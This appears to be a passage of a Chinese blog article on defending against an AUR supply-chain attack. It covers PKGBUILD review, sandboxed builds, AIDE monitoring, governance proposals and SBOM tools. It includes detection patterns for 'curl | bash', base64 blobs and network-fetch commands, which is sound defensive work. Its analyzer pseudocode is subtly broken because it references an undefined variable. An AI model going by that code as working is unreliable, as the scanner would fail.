个人层面:AUR 安全最佳实践

1. 永远审查 PKGBUILD

# 配置 yay 总是显示 PKGBUILD
yay --editmenu --nodiff --save

# 或者编辑 ~/.config/yay/config.json
{
  "editmenu": true,
  "diffmenu": true,
  "removemake": false,
  "answerclean": false,
  "answerdiff": false,
  "answeredit": false,
  "answerupgrade": false,
  "timeout": 10,
  "aururl": "https://aur.archlinux.org",
  "aurrpcurl": "https://aur.archlinux.org/rpc",
  "builddir": "~/.cache/yay",
  "absdir": "~/.cache/yay/abs",
  "editor": "vim",
  "editorflags": "",
  "makepkgconfig": "",
  "tarflags": "",
  "mflags": "",
  "gitflags": "",
  "gpgflags": "",
  "sudoflags": "",
  "requestsplitn": 150,
  "completioninterval": 7,
  "sortby": "votes",
  "searchby": "name-desc",
  "installdebug": false,
  "upgrademenu": true,
  "cleanmenu": true,
  "diffmenu": true,
  "editmenu": true,
  "provides": true,
  "switch": true,
  "noskipinstalldebug": false
}

审查 PKGBUILD 的要点:

  1. 检查 source 数组:是否指向官方源?是否有未知URL?
  2. 检查 build()package() 函数:是否有可疑的 curl | bash 模式?
  3. 检查是否使用了 SKIP 作为校验和
  4. 检查是否有 post_install 脚本
  5. 使用 vimdiff 对比新旧版本的差异

2. 使用 AUR 软件包的"白名单"策略

不要盲目安装 AUR 软件包。对于关键系统,维护一个"已审查"软件包清单:

# 创建已审查软件包清单
cat > ~/.config/yay/trusted_packages.txt <<EOF
visual-studio-code-bin 1.84.2-1 [审查日期: 2026-06-01, 审查人: 你自己]
firefox-nightly 115.0a1-1 [审查日期: 2026-05-15]
# ...
EOF

# 安装前检查
if ! grep -q "^$1" ~/.config/yay/trusted_packages.txt; then
    echo "警告:这个软件包尚未审查!"
    echo "请先手动审查 PKGBUILD"
    exit 1
fi

3. 使用容器或虚拟机构建 AUR 软件包

# 使用 systemd-nspawn 构建 AUR 软件包
# 这样可以隔离构建环境,即使 PKGBUILD 恶意,也不会影响主系统

# 创建构建容器
sudo pacstrap -c /mnt/aur-build-base base base-devel

# 在容器中构建
systemd-nspawn -D /mnt/aur-build-base --as-pid2 --pipe -- \
    bash -c "cd /tmp/package; makepkg -si --noconfirm"

# 从容器中复制构建好的包
cp /mnt/aur-build-base/tmp/package/*.pkg.tar.zst /tmp/

4. 启用文件系统完整性监控

# 安装 AIDE(Advanced Intrusion Detection Environment)
sudo pacman -S aide

# 初始化 AIDE 数据库
sudo aide --init

# 将生成的数据库移到正确位置
sudo cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# 定期检查完整性
sudo aide --check

# 可以设置 cron 任务每天检查
sudo crontab -e
# 添加:
# 0 2 * * * /usr/bin/aide --check | /usr/bin/mail -s "AIDE Report" your_email@example.com

社区层面:AUR 治理改革

这次事件后,Arch Linux 社区已经开始讨论 AUR 的改革方案。以下是一些有价值的建议:

1. 孤儿包领养延迟生效机制

提案: 新维护者对孤儿包的修改应在 7天 后生效,期间:

  • 修改会进入"待审核"队列
  • 其他 AUR 用户可以对修改进行投票/评论
  • 如果收到"可疑"标记,自动触发人工审核

实现方式:

  • 修改 AUR Web 后端,增加"pending_pkgs"数据表
  • aur.archlinux.org/pkgbase/ 页面增加审核提示
  • AUR 助手工具需要适配新的 API(查询包状态)

2. PKGBUILD 静态分析

提案: AUR 后端在接收 PKGBUILD 时,自动运行静态分析:

# 伪代码:PKGBUILD 静态分析器
import ast
import re

def analyze_pkgbuild(pkgbuild_content):
    issues = []
    
    # 1. 检查是否下载了外部脚本并执行
    if re.search(r'curl.*\|\s*bash', pkgbuild_content):
        issues.append("高风险:下载并直接执行脚本")
    
    # 2. 检查是否使用了 SKIP 校验和
    if 'SKIP' in pkgbuild_content:
        issues.append("中风险:使用了 SKIP 校验和")
    
    # 3. 检查是否有 Base64 编码的代码
    if re.search(r'[A-Za-z0-9+/]{100,}={0,2}', pkgbuild_content):
        issues.append("警告:检测到可能的Base64编码内容")
    
    # 4. 检查是否尝试修改系统文件
    if re.search(r'/etc/|/usr/|/var/', pkgbuild_content) and 'package()' not in section:
        issues.append("高风险:在 build() 中修改系统目录")
    
    # 5. 检查网络连接
    if re.search(r'wget|curl|fetch', pkgbuild_content):
        network_access = True
    
    return issues

3. 签名验证强制化

提案: 对于流行的 AUR 软件包(安装数 > 1000),强制要求维护者使用 GPG 签名 PKGBUILD。

# 维护者生成 GPG 密钥对
gpg --full-generate-key

# 签名 PKGBUILD
gpg --detach-sign --armor PKGBUILD

# 上传 .asc 文件到 AUR
# 用户验证签名
gpg --verify PKGBUILD.asc PKGBUILD

生态层面:供应链安全工具链

1. 软件物料清单(SBOM)

SBOM(Software Bill of Materials)是一个标准化的清单,列出了软件的所有组件和依赖。

// 示例:一个 Node.js 项目的 SBOM(CycloneDX 格式)
{
  "bomFormat": "CycloneDX",
  "specVersion": "1.4",
  "version": 1,
  "components": [
    {
      "type": "library",
      "name": "express",
      "version": "4.18.2",
      "purl": "pkg:npm/express@4.18.2",
      "hashes": [
        {
          "alg": "SHA-256",
          "content": "a1b2c3d4..."
        }
      ]
    },
    {
      "type": "library",
      "name": "atomic-lockfile",
      "version": "2.1.4",
      "purl": "pkg:npm/atomic-lockfile@2.1.4",
      "hashes": [
        {
          "alg": "SHA-256",
          "content": "e5f6g7h8..."
        }
      ],
      "pedigree": {
        "notes": "这个包在 2026-06-11 被报告为恶意包,已从 npm 下架"
      }
    }
  ]
}

工具推荐:

  • Syft(生成 SBOM):syft <image/dir> -o cyclonedx-json > sbom.json
  • Grype(漏洞扫描):grype sbom:sbom.json
  • Dependency-Track(持续监控):开源平台,可以导入 SBOM 并持续监控漏洞

2. 依赖关系可视化与监控

# 使用 depgraph 可视化 npm 依赖树
npx depgraph --output-format dot > dependencies.dot
dot -Tpng dependencies.dot -o dependencies.png

# 使用 npm audit 和 Snyk 持续监控
npm audit
snyk test
snyk monitor  # 持续监控,结果上传到 Snyk 平台

3. 零信任包管理

概念: 不要信任任何外部包,在沙箱中构建和运行。

# 使用 Trivy 扫描容器镜像和文件系统
trivy image <your_image>
trivy fs /path/to/project

# 使用 Cosign 验证容器镜像签名
cosign verify --key cosign.pub <image>

# 使用 Notary v2 签名和验证软件包
# (这是下一代的包签名标准,正在开发中)

开源生态的信任危机与未来演进

开源的"信任杠杆"悖论

开源模式的成功建立在 "众人审视,bug无所遁形" 的假设之上。但这次 AUR 攻击事件暴露了一个残酷的现实:

当开源项目的维护者数量远远少于使用者数量时,"众人审视"就变成了"无人负责"。

数据对比:

  • npm:超过 200万 个包,但只有 不到1% 的包有超过10个贡献者
  • PyPI:超过 40万 个包,但 每天 都有新的"依赖混淆"攻击
  • AUR:超过 10万 个软件包,但 大部分 只有1个维护者

解决方案探索

1. 资助关键开源基础设施

现状: 很多关键的开源项目由个人维护,没有资金支持。

改进方向:

  • 企业赞助:大公司应该资助他们依赖的开源项目(如 OpenSSH、OpenSSL)
  • 保险机制:类似"开源安全保险",如果项目被攻击,保险公司赔付
  • 政府监管:关键基础设施级别的开源项目应该接受安全审计

2. 自动化安全工具的投资

现状: 大部分开源仓库的自动化安全工具都是"可选配置"。

改进方向:

  • 默认启用:GitHub 应该默认启用 Dependabot 和 CodeQL
  • 标准化 SBOM:所有开源项目应该自动生成 SBOM
  • AI 辅助审计:使用大语言模型自动审查代码变更(虽然不完美,但比没有好)

3. "软件建筑规范"的标准化

就像建筑工程有严格的规范和验收标准一样,软件开发也需要:

  • 供应链安全标准:类似 ISO 27001,但专门针对软件供应链
  • 强制性披露:如果发现供应链攻击,必须强制公开细节(类似金融行业的"重大事件披露")
  • 责任追溯:如果维护者故意植入恶意代码,应该承担法律责任

总结与展望

关键要点回顾

  1. AUR 攻击的本质:不是技术漏洞,而是 信任模型的漏洞。孤儿包领养机制、最小审查原则、用户习惯共同构成了攻击面。

  2. 技术复杂度:这次攻击展示了现代供应链攻击的高度技术性——从npm包混淆到Rust二进制,从eBPF Rootkit到持久化机制,攻击者使用了完整的攻击工具链。

  3. 影响范围:虽然AUR主要影响Arch Linux用户,但 同样的攻击模式 适用于所有包管理器(npm/PyPI/RubyGems/CRAN...)。

  4. 防御难点:供应链攻击的防御需要 全链路 的努力——从开发者到维护者,从包管理器到用户,任何一个环节的疏忽都可能导致整个链路的崩溃。

对未来的展望

短期(6-12个月)

  • AUR 治理改革:预计 Arch Linux 会引入孤儿包领养延迟生效机制
  • 工具链升级:yay/paru 等AUR助手会默认启用PKGBUILD审查提示
  • 用户意识提升:这次事件会让更多用户意识到审查PKGBUILD的重要性

中期(1-3年)

  • SBOM 标准化:大部分开源项目会自动生成并发布SBOM
  • AI 辅助审计:大语言模型会被集成到包管理器中,自动标记可疑的代码变更
  • 签名验证普及:GPG签名验证会成为AUR和其他包管理器的强制要求

长期(3-10年)

  • 零信任包管理:未来的包管理器可能会在沙箱中构建所有软件包,就像今天的浏览器在沙箱中运行JavaScript一样
  • 开源基础设施基金:可能会成立一个全球性的"开源安全基金",专门用于资助关键开源项目的安全审计
  • 监管介入:政府可能会出台法律,要求关键软件(如用于基础设施的软件)必须通过安全审计

给开发者的建议

  1. 永远保持警惕:不要因为"方便"而牺牲安全性。多花30秒审查PKGBUILD,可能会避免30天的灾难恢复。

  2. 最小化攻击面:只在必要时安装AUR软件包。如果官方仓库有替代品,优先使用官方版本。

  3. 隔离关键环境:对于开发环境、生产服务器,使用容器或虚拟机来构建和运行AUR软件包。

  4. 参与社区:如果你使用一个AUR软件包,成为它的"眼睛"——订阅它的更新通知,参与代码审查,报告可疑的修改。

  5. 备份与恢复:定期备份关键数据,并 测试恢复流程。当攻击发生时,快速恢复的能力比完美的防御更重要。


参考资源

官方安全公告

  • Arch Linux Security Tracker:https://security.archlinux.org
  • AUR 邮件列表:https://lists.archlinux.org/pipermail/aur/

技术深度分析

  • "Atomic Arch"攻击详细分析(Sonatype Research):https://blog.sonatype.com/atomic-arch-supply-chain-attack
  • eBPF Rootkit 检测与防御:https://ebpf.io/summit-2023-slides/eBPF_Rootkit_Detection.pdf

工具与最佳实践

  • Syft(SBOM生成):https://github.com/anchore/syft
  • Grype(漏洞扫描):https://github.com/anchore/grype
  • Dependency-Track(持续监控):https://dependencytrack.org/
  • Trivy(容器/文件系统扫描):https://github.com/aquasecurity/trivy

社区讨论

  • Arch Linux 论坛:https://bbs.archlinux.org
  • Reddit r/archlinux:https://reddit.com/r/archlinux

写在最后:开源生态的信任模型需要进化,但进化不意味着放弃"开放"。恰恰相反,只有通过更严格的审查、更透明的流程、更完善的工具链,我们才能真正保护开源生态的"开放性"。这次 AUR 攻击事件是一个警钟,但也是一个机会——让我们重新审视并改进整个开源供应链的安全。

推荐文章

windon安装beego框架记录
2024-11-19 09:55:33 +0800 CST
18个实用的 JavaScript 函数
2024-11-17 18:10:35 +0800 CST
前端开发中常用的设计模式
2024-11-19 07:38:07 +0800 CST
宝塔面板 Nginx 服务管理命令
2024-11-18 17:26:26 +0800 CST
关于 `nohup` 和 `&` 的使用说明
2024-11-19 08:49:44 +0800 CST
Vue 3 是如何实现更好的性能的?
2024-11-19 09:06:25 +0800 CST
程序员茄子在线接单